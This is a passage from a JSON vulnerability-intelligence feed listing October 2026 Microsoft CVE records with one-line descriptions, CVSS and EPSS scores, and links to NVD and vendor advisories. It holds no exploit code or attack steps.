exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83899","cveId":"CVE-2026-83899","aliases":[],"kind":"vulnerability","title":"Improper privilege management in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Improper privilege management in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Improper privilege management in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:43.363Z","updatedAt":"2026-10-21T13:05:07.363Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83899","asOf":"2026-10-21T13:05:07.363Z"},"epss":{"probability":0.00235,"percentile":0.14313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83899&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83899","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83899","type":"primary","publishedAt":"2026-10-13T19:20:43.363Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83899","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83899&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83899, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83896","cveId":"CVE-2026-83896","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:41.173Z","updatedAt":"2026-10-21T13:08:27.297Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83896","asOf":"2026-10-21T13:08:27.297Z"},"epss":{"probability":0.00395,"percentile":0.33385,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83896&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83896","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83896","type":"primary","publishedAt":"2026-10-13T19:20:41.173Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83896","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83896&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83896, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83891","cveId":"CVE-2026-83891","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:40.100Z","updatedAt":"2026-10-15T21:18:32.537Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83891","asOf":"2026-10-15T21:18:32.537Z"},"epss":{"probability":0.00901,"percentile":0.59426,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83891&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83891","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83891","type":"primary","publishedAt":"2026-10-13T19:20:40.100Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83891","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83891&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83891, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83889","cveId":"CVE-2026-83889","aliases":[],"kind":"vulnerability","title":"Release of invalid pointer or reference in DNS Server allows an authorized attacker to execute code over a network.","summary":"Release of invalid pointer or reference in DNS Server allows an authorized attacker to execute code over a network.","detail":"Release of invalid pointer or reference in DNS Server allows an authorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:39.917Z","updatedAt":"2026-10-16T16:21:42.920Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83889","asOf":"2026-10-16T16:21:42.920Z"},"epss":{"probability":0.01056,"percentile":0.64199,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83889&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83889","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83889","type":"primary","publishedAt":"2026-10-13T19:20:39.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83889","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83889&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83889, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83888","cveId":"CVE-2026-83888","aliases":[],"kind":"vulnerability","title":"Buffer over-read in Windows CD-ROM Driver allows an unauthorized attacker to elevate privileges over a network.","summary":"Buffer over-read in Windows CD-ROM Driver allows an unauthorized attacker to elevate privileges over a network.","detail":"Buffer over-read in Windows CD-ROM Driver allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:39.710Z","updatedAt":"2026-10-21T13:13:47.590Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83888","asOf":"2026-10-21T13:13:47.590Z"},"epss":{"probability":0.00977,"percentile":0.61896,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83888&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83888","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83888","type":"primary","publishedAt":"2026-10-13T19:20:39.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83888","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83888&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83888, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83886","cveId":"CVE-2026-83886","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:39.427Z","updatedAt":"2026-10-21T13:14:52.763Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83886","asOf":"2026-10-21T13:14:52.763Z"},"epss":{"probability":0.00329,"percentile":0.25774,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83886&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83886","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83886","type":"primary","publishedAt":"2026-10-13T19:20:39.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83886","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83886&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83886, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83883","cveId":"CVE-2026-83883","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:38.973Z","updatedAt":"2026-10-21T13:24:46.093Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83883","asOf":"2026-10-21T13:24:46.093Z"},"epss":{"probability":0.00379,"percentile":0.31577,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83883&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83883","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83883","type":"primary","publishedAt":"2026-10-13T19:20:38.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83883","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83883&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83883, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83882","cveId":"CVE-2026-83882","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:38.823Z","updatedAt":"2026-10-21T13:25:48.800Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83882","asOf":"2026-10-21T13:25:48.800Z"},"epss":{"probability":0.00379,"percentile":0.3158,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83882&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83882","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83882","type":"primary","publishedAt":"2026-10-13T19:20:38.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83882","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83882&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83882, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83881","cveId":"CVE-2026-83881","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows exFAT File System allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows exFAT File System allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows exFAT File System allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:38.643Z","updatedAt":"2026-10-21T13:27:22.380Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83881","asOf":"2026-10-21T13:27:22.380Z"},"epss":{"probability":0.00379,"percentile":0.3158,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83881&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83881","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83881","type":"primary","publishedAt":"2026-10-13T19:20:38.643Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83881","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83881&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83881, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83879","cveId":"CVE-2026-83879","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:38.463Z","updatedAt":"2026-10-21T13:28:28.440Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83879","asOf":"2026-10-21T13:28:28.440Z"},"epss":{"probability":0.0023,"percentile":0.13671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83879&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83879","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83879","type":"primary","publishedAt":"2026-10-13T19:20:38.463Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83879","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83879&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83879, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83876","cveId":"CVE-2026-83876","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Shell allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Shell allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Shell allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:38.083Z","updatedAt":"2026-10-21T16:49:07.393Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83876","asOf":"2026-10-21T16:49:07.393Z"},"epss":{"probability":0.00379,"percentile":0.31577,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83876&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83876","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83876","type":"primary","publishedAt":"2026-10-13T19:20:38.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83876","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83876&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83876, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83874","cveId":"CVE-2026-83874","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Event Tracing allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Event Tracing allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Event Tracing allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:37.530Z","updatedAt":"2026-10-21T17:07:19.630Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83874","asOf":"2026-10-21T17:07:19.630Z"},"epss":{"probability":0.0085,"percentile":0.57914,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83874&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 